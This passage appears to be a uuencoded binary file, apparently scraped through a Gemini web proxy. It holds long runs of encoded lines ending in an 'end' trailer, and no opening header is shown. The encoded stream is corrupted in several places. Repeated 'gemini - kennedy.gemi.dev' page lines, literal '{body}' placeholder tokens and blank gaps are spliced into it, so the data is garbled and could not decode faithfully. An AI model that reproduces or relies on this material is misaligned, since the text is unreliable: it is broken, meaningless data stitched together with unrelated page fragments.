M).-^T.5;$[`T#3M=I?K$0]E]C0Z]!IV5**`S?`L^E'FH"FP4:-SB\/WF9N2,
M#;B$IICVR)H3)O#EV-6G'%_H.'R@WF.;Z;PVP4K@CJQ-J=&!#N!(][A/P;UA
M<&.O"X4S.S%$)3R;CY`<]):D5X#NF3A7O9#C?X0!*`&%5_N@6TSX^[)T%];I
M)[D+5ZKL"KHX,/3;\#5^&%HLD^&,O/J6ME6'G'69F_`@X^5<P?B'I6&MA/I*
MO4+HN_+TZ5`7+SWIJ4R/1.URU`Z<V7T*P57X'9U^0>*U<0P"A\C-S2!60C1F
M)1%U`,4',TR7S)OWK+RY60<ZQ9J#0A@0\TY'ZU0%,/7APX<"EOD^AN]V4.1;
MF$]8S=(+O@.H9-M;/Q8,=W'GUO!_QK9$;?0'UM8_LI?0&M9D6XUV:XMI\;S-
M5CKO_P/"84_9UG:[U62:5JBYBYI;P_\11)29M1K;E'EKES4:[6:#18C)+[2W
MNY5L383=W$);6BO>!:@OP'=!@P8BIFB\N@90<G)\-/83"`/:]MG<C`YU`,HG
MCB7X@`6G!V-BA5;MQ`Z"#24WJUA?8T=L(D+,^&(0@0=A<&%YO+E)P'!%;_`I
MJJNNJ&@V=S%ROJ?A,=U[9TY;6-<\T9HJ:#KQ0Z=`4`1-RLH)'L:GL*#0UZGI
M>13A3@8VD?M`(;5)>N[:$A'`*`-@F+G%0PK&1V,O>FJB]!`L!])\O+DI21(M
MLR>4B4506'WNN77+'$H>)I:$YU[(EB!D4R7#RE86AJQ8/ASF?4-$*A!"!J42
M1NOVL,F`2S<\%XJB'@02-M^\GDO4H]E2=N50OP4=\.;P!X:#58>:\#1E8=\R
M`;?XB/X4"L^/`P+!W\*M&\JR,Z'X/S\VIZ;?O1OQF<_.SM'UK\=>=2_9^5D/
M_ER<G;\\.CV,_,//7#2.8^#!1?60V_?A"_PAB`ZDHP!=C\%&I_&@)2\*A0M.
MP]_%:!4<VR(?7"!*_T$]*FN;%?)U9*'']G>!RV=GH\FNCM\'6`6T@HA'\:X'
MBG?OY(>`V,;Z*)C^31NCT'/_7R+2<GHH1&>2*/?$W.$)FO*FPR1%74%3WQ=$
ML2D%*>C@>6^QE-0I)'P]^$U'UQV,=MQA]UP(UFO:K7!NY*-(&F!+XPI""5ES
MQBQ^RZV8),9^<)0<F%5&9R?>0U)AH7:@HV@AVQ]PQ\PQ41S(Z+L@_]$6"L^'
MIJT#NX7:A9@`Y4T>@6DT`@A/.`H5Z"3F%/,A>VGQ.]8[_)&5IWC^S+1%Q%Q$
M)921\QD:8V.383!E21&8L(Y*'D?YM+EYN/_3FXMCH2G0S#WT'&L.8@2>DKH&
MSR"/$#6X8A+R20XH2#Q]Z-QR6=O%'{body}lt;4<862%F09H-:]!R$(Q'+M8#PWI$T`
M4`*QZ7%.RF#H1H!S:6",E:)2R**DK9=TD'`ZQO:%$1CV-Q&CHI/J!K[&24!
M5`]R`*=BFD>\B3.W#)"PS@W59IDW/$F^7^;=->?=I442C0M-^'E%=K7MJ$BS
M#<N[Y/@+CKX{body}lt;D4^)[Z)D1DPF7-3A9%V<586$\!8OW5H:ARZS@)#5="BP/0$
MCQ>B>0-H'D9<<E1SZZG6@/^:)#N%7WNM5OM;<V]O^'1/)T%:*`!=!72$!.T!
MD8B&Y!*3=*(O?(3#>[%9+/3[8</P%`6T+71S3S<NZ;PH\)92WA/+D%!]%T\#
MY9WZ@\&U.)O.1Q/&=<\$)+;/\Z9?TZ;K,FBI{body}lt;@5H3?%M>"4)JT1=HC^GHM5
M"O/<42<X.QCCOMAQT^*+YW61^44DZ$5P#LC/-C8V6+M2^`-;4_Y\267_24PO
MCU#'<OM/:VNGD;G_;6?GB_WGLZ1/]/]<Z=TY!=U+U_9_DF%>N=$#$3[BRW+Z
MH`9.EV38_^%"GE(X`MWI$SQ*9883$/'.$L_48(GI?0[?U!Y]Y+]/1F//R_70
MZ^PR^=;R75WF]IOV;LUDH."!#N2P.2PD^`4=W4*(7M(5=GH7U$:A'BA&X3KN
ML@E'@0<YTD;B;Z4[;=(1]J?NP>F;DR!^X6XKZT`:YNO]/<C6N!.AHT!FU%F+
MU=B6PJM4E!/*?>PN//41S)S";T[.DZ4CO7)IH:BIVUM/=_>@=5]_G<SU=O_H
M\J07Y&INI;;D<IUGE3D\D@_M'(F1S4[2HIT4&]E<M\H(FYGK"70\!)N*]IS(
M9!IWRU[?XH4W/"=L=/+>09IWU\B8"5&:DX\"6+EM!=EGL@8GPB0MY`&,'?]:
MGG/*IV&&Q%4-06)O+H^.CRY_9B_?G!X("TKT,N$2_IK?6>98K`.O39`^3)RM
M7184?"+*E,DI)[@`1WPNV4*<W`UEIBI\-S(]#/*9[6S<5,B?.K.,2028Q#.'
MV!)YC^$JSU-H!H"B`B/0PC#RZKY?-E<Y=9KC,I0,[DKL`->ISS<*\!BNX0E^
MSP+"KCSIJ-_1(>MF\KDR@C0`4>[QPH"^DO*=[BE#$2\'-`PC*YYBZ#Z03@HO
M_6B<83(9B-QT*'+%&,NF"0?-@$04LTVY5=&0]=]<O@Q^YU[4%.O,W#9!>6"F
M0?9?,@P+*S*%)#("4ZV8;UEXX!;JC0.D6\O$*A964)+C*"+%*D1@_::Q"@E$
MP$9,YA=S"3S^&`_1RC.T2,X"AT$?)-'!*]6A6I/(*55B7<I6UAN70^O7G2BU
M;OV29LQ<:CZ8\-$-,%_<#!]8(8`"Z,I<])P7>YOP)`C*+4QO<5#2:KELG$UO
M(.H8A(#7\DIQO&C$4]'$L\./SH<YV87_)L:!4)RMT.TYQNB=NS#IJ(O'LV0!
M*`-G)W*)$T(C>"\/8%CW`<Y/S)'K>,[8#X.6/V5E>8:YRHZZE02C26#90GMA
MH4HFM&0F#+S*T::<SD9AW9DJ:CN&BB!'SV_@S3Z,\"U_5ZRL$1'ZE>-<@U`X
MF+AH`T&B8+=S"P41J!I5BJ"YX&*/"G>JR8[+''PZT?U2]NX^`'GMR(C2H6WZ
M0Z!`E9@(:*.(4PQ(B0\I=40V[IS/9HDP$?$D?(>RSE'*J23/70B)03=]$*CV
M"#!A.W,/R


(7AZ+5F\+/S'@MZEI6:;'0>,T/`THJ>0F^,^=VW9XO(,T6;J*
M&PH&I]Z"N-K,H*-F`8;A)6XK#`'%<7CS:VA/(`MFSFP^\Z1M/]A;H;"Z!-]V
M[!KH<S/TH\"M17)B0--6`"\K"_#Z[?+4:YMKG+ZRG86\^CHZ)*)25:*WL.S`
MLRG/V=0C+SGU`%!<=1W0`:LECLX28CLKTM5DI&NIK2X3;5&47PJ#*R]NP;]+
M^C4SV^K5?SR3&U[JDN;_A/`.M7V&0@$OI]'9#(\;PKCB?LZ]V+S%;0Q?WI6=
MAF<CO5`9O(4"MXUE^.-L:'NJ8X!Y8S*O3%T/+T\,6U2AD,(4]:HA0@IGY0Z5
M3&3+]A?:CP3LS8?HI^^GNAT.71!>6%SS#FOKX!1F1H"BG5VRZ8>9*:]C+M&-
MH[1Q-Z;'0]/W8(G=(\XKQ:D:$PB1"!DD$Y.=5]_[3=VM==*94WU&]4%H-,':
M.J9'B,5YCN8@X'JW5^;[J\9[>?%,DK9F9A@K6"Q1T;B1),9]_PA-V>5&<!X)
M5HL*-\Z/Z+\0H2'.DRU3'DP*2R2&(]68U3)7L+S-=!?@T,VP^A08A.3D$-5E
M<58019Q2%L1A!6*!G3H^%SL]"YK?0;C2SJ]%9#B!ZEH2.&31&;IADBR.`XOR
M?@"=L"3S2T84_5I^6SW6&,F>*@"TI11:J5$;BYP+H5Q]D=2UTQRT;YG7MN@5
MW4,^@[D3,-EBY0%H"O9"=PUO4&4#V_


;#ZCW\*E"850&EJ"LZ.)3Z`BSLAB
M1XT0*2]*OD[?ZHN+$=>\OH82!LZ6>,R$A@@O!L8FX]W`?G0MQ<24FTY2YJ6!
M+;OT`/WM.O3WK^Q_MY^E^6,MCL#2'RT0RD'=E6=BD=NJ"A&#7U>I9,9"$:N>
M*$FQ3L>[N0&H(`H-6>1`KD7*`">(4H]QZBLY=^.JBL;+HO2OL!<O7K"]CP-!
MTX<


gemini - kennedy.gemi.dev




2NBCX`A(`0PMEJ92Z?2Q/'NW;MVH-N[()ANI2>'RW%#$,EJ3U+QK:FC
M;IJ4LR4%L=%M4!\H.F5)7/\EIR=-*?'T14+B*8U6YQ?=\_V+_<NSBS4,5^<N
MG^&6:J2:9Q7IK!`B?]J!V(R6ILSESN_Q"2@(M9"VE*K/4@OH41E161R>NIB8
MZ^C,+#T11FBZK;D?[J*K+G86Y=-&&RQ(V]G%):VDE:>Z&Z0'TU=A=<ZUU5R*
M54V*<N2@D'\=>JN0"PX(-]>$=91P,GN)EEEV3FO?.$"YE*>K4?!((V[9MW9`
M323ET.-AAFH@20/%'\4MNA;&H<7$,]LF.SH?S7%1F%*B40&%3YPLQ&*EN259
MPQG'X<E20T[."ER_03'^VEF@Y*\&2N_8=,7M/_[$\;(UQ>$E7:`LO*LAIO?3
M*D;>I2)$?#7E-+"5TUGI9`G31_J"G&5\8G`?W2!M'HGZU8=$5BX7TA,-S@^?
MH/,U*IFI##4VW3M;V%&P!A)1PAR@>"N$5MHNH&KLD[Q[WA38<\0N@C?#H"PK
M\1;ME>"L^4+)INEP#ILORC$M6V'6>[A>GIUYTY52\\)Z>W]7W]%!5?\S5O4_
M8U7W_@Z_\X(#WE[]\[W8H=/%!)>%'ULX0,[;/`/'TN%!$1EL'-G&@-QA/N+T
M6<[=<VLMFH-MK<1^I')%&8F1F$J(\D8X5<N+^%A#+IL#RQ0W,79/&A[>;29L
MY=`#T[[5+=0L\:J_8%%:-C6NT0TQI"4(RRJ&]4D95$.`=',,T8=7J3+'A1:4
M0,0'UAZLBI$R[%A&0M23MIN&9SC<P^6)M+^RU\<])J:HQ)X4C>N#9(58&<;+
M"VF16*TI+A/*,H4PY62*=N)TN_9=-,8=*M7-+)T_1@\Q92-DABME`(Y_GZBJ
MES=<)G97E<O;=,''LCWNQX@=G;3%.BI!/[COLX[I"]D]L?N[6B*'R]1P`%*H
MB%N"LMP=KE<3;]9>QP@*2ZXY<+WR34?^W-%;QBHR#2PXXH+;[$"MW9KDR(D2
M"71FK#?)D3R.AB\H@(:KP6#D^BAZ2O+L5G"NA!;!"6THH2:Y#H:;+S%<N)#H
MJM+J(Z[>F7[B!D:JQ%N74N+;_ZL)9:K[HTG[@E]W[_!&M7K_;G>O#V/4!ZR+
M3_RW`__&8WBVHT'JW^G;]2S19&DN@>5EQH_U-M%Q:1P?<AKLJB20BHH"4?Y`
M*<WCNCN:E*FSE0K,YBN%9+"XSZ.^![0EM9H-(%-4\90M0]YULPY5!]O4L>M-
M'U)0.'\$L;(2-S2G@2073,J%[W%W_T?6^[EWV3UA;WK="W16SEOW'N/43U-V
M>+\K.N#3S@Q:U'T\3R*8B,:+>^%>"&V(FW8<6FQ;57JJ14$"I3'*H?,U:(>B
MBQ[D20'<R#+M-'?.Q;XZ.AO'3TL%.7)VUF738M</IB_474<YD[UMY\2X6TMW
M2]@34]09OSDP43!`L^`5^E6N1_&@RU?_Z/??;U;"<-#UK"(2@``);\\M:P5W
M)3?[H5Y9_*KY/L-ICS(?+Q^WE:ISPC-{body}lt;(Y&MT%GF3`PY*?H8ET>>GETT7UY
M]@Y/B>&M3VP9(_5(J(4[FM)91FY/)UQ#F)QIA-?0"JS$_2#^1!0=+Z<DZ'/=
MGW2"8.57_3K0=/GJJ@U(L/WV^_=/*H]$UJF@[+\/:<<;L=;*,,^)<EV3(<%(
M>E:F+8>AS5`Q'87Q\(155-ZW3:M$%4$7TU"D@PF=9$R1B\+\F&]\#-R^DA**
M;)`?9[-<UE>,GQE>[=$OHL==^!.;6\QT,VY;#;*F!B)E#UU6?\_B?$8;<33U
MDLX$ZIW:SJHPH^:J%>L(QY284?M5E14L%?#B:HD*ZLC^,3LX._OQJ-NKLO/]
M7N_MV<5A#U8E/W9_SC7,'SB6A6;X2#\1I[L]U,O1,VON!A$:EG"A*#-`&)\H
M13]J3@]WQ:9\BDO[K/B*!HVR9#S]HG=/.F+[(VWK>$-=%&@*;[&EM9'P`I=[
MK!E'J1!RX(WZ(F!5*K9*-4]1L6@%8H<:@/470Q>)6"7`4:(]&:X*$#W<;;43
M9P:D!$L\4T4MA8(:I]=E0%3.IEZ'LH6NA'F-@']>.WZ&)`J;&CY2M0'+:70%
M9DP!D2Z?.;GEC9C9L0W:LBH`;#AH\$S5:_Y+4`?6I\XPI;,T(LIKXGB-AL?E
M<QKVX+BRGQ13-A4"]D%<E-W*O)#^,*3OE$"DBX7*A[CHK)08?HJ5SV("$H+T
M-^7.9$IO6JH:H-N--9!7K9#M.(QBL]I4\(=4$:A'3/:(A'78H]]%25BW5.)^
MGA4E/Y=V0;8N:7/"84';=5@$48LZ`)O;ODEWK"/[(KO"4CNX<27C(:)3X"2*
MC&+&0Y'`&CN]AX?I#ZS?0&<.Y]-9BB/3SFH/T8*2&D)*GPF^*Q0+^P&[<X^U
MD69P#)$=W[Q:M;.%"L>R98TXMJC-=.`?D+^O#H[&4O&"7AY-<>O6]LN-RIJ2
M;>QR_A%N$9*8L!'+G"#H9*LB8F':42+3Y\3FQW(@H2S-`/DH5$6X2@6XC`XK
MYH?@C[GA9=]&;5XOVCZF4.M3GE#(B;JOKCI1O50![>@<!=I$3)^3QWF:TX.4
MO*5!$YX"%,)1M?^T2@&-YB-!"*I:Y1BKG'=R%0JE"T,>Z+`U%^%^/RX+\(Q)
M4>$PG%MI)#Q1N`3^*"AN\KN5DD?+AE^]<_VIX_]2!\ENA!:#(-X3U:,Q-&TS
M:AM4@AF_>QRZ6-&H5P?)AK#O&W>J.3XJFMRB2YPZRA\PQ>;@2AH1NY"S["[D
MZC8FJGI`$Y.[4BM;&&ZNK6Y1'/+*!B4(,;+_/C(!!H`_"YV=D('1"(\HA69U
MH?.E;.UJS2^#FJ3]\)'1(^^0S+7L?3:4+6N(0-^2WB6,4OEH#52$)0NOU<+X
M)6@W*(OE+3!`ZJ0M>/DR.:,EYF54*4ZK&W2BNS<T.=!<KFI&/(ZR"-&\&NJA
M8V<((#F8([+E\W;7=1WW888B:(:(8;%4^H@;L,A1I8<A3"_QPHIR15%F78J,
M^W2)OW_DZ,ZKDRK^S]W4\IS1#?>-^J/4@3&>=_+C/]./5/R?[>;N5VSG46I?
MD?[+X_^L&/_HJS:[_]@Z5L3_WMIM[23'?VNKL;/S)?[3YTC??D/Q68>F7>?V
M+9O=^Q/'+I1*I<3(LQKKF1BZ.`P9ZKCRED6<-X([%L49L'W#&0:^<>].CID`
MHP',0F$PT.=0@SL8X!40D_G-G#W'O]]?NQ.0SQ@OZ05D*\A0/=Z]%WSU)[C>
MP8-9\D&/P/9$X.Q"X36&8P68#?+,;Y0*YV<7EQ2.9KM5@!_'1P<_P\\^2>W2
M\^^@?X''?J?8U!K%[UZ48.(/WM,AO9J(4%>;.;#FOD^\U]'1O29\4&K4;9&W
M4]PL@FI4PR9ZG>)?C"*K0\&_,&I.5+ZNJJ#?P+Z+*$2`.=%#:49_+:^1C'>;
M8B(EWU?:8EXV^%A$:R][W!K#TV#:HAUR5KK:?,_0I@BSI"U,#V+P_N)A8]$P
MB>4T$=,B4,@K$6QQB6


gemini - kennedy.gemi.dev




/(1.5CEVZ<YY.S%MRHT#@BD-C7@KY6UYK_FWK?0)
M4?+WI6@NV;T9((*;S"$OBA",)DGRB/!FENF72WV[5,D"H)P=^M`P$LD,,KI]
MNW_;]P'[%94BC6?-REB@@D?1LB!EKM)S,8HUU"-KLI,X]GA;!Y16%\24P(K'
M;:,LR%7ME8['/?-AR>'%@UAB*+'J:-C&IFUZDR4T<6`Y'K+T0^DB3;67!^>"
M1I,{body}gt;QEP\8EY=V176?)E4$8V#95J@(SM1BXI@W9Z*U_Y[GW4?"F3.JK:RR@7
MJL1]E6H>4U52H#3Z&`!EX?$9:5CC(@3TC_Q^Z,!T>83QA]WYS$^W0_,F<Q]/
M<\IR<F.G`4)MS`9BAWR`:[#28(#=&@Q*`@0(.XW?X3%_["S^H@Y_"7CY)7U)
17]*7]"4]?OK_3&K!K@#(````
`
end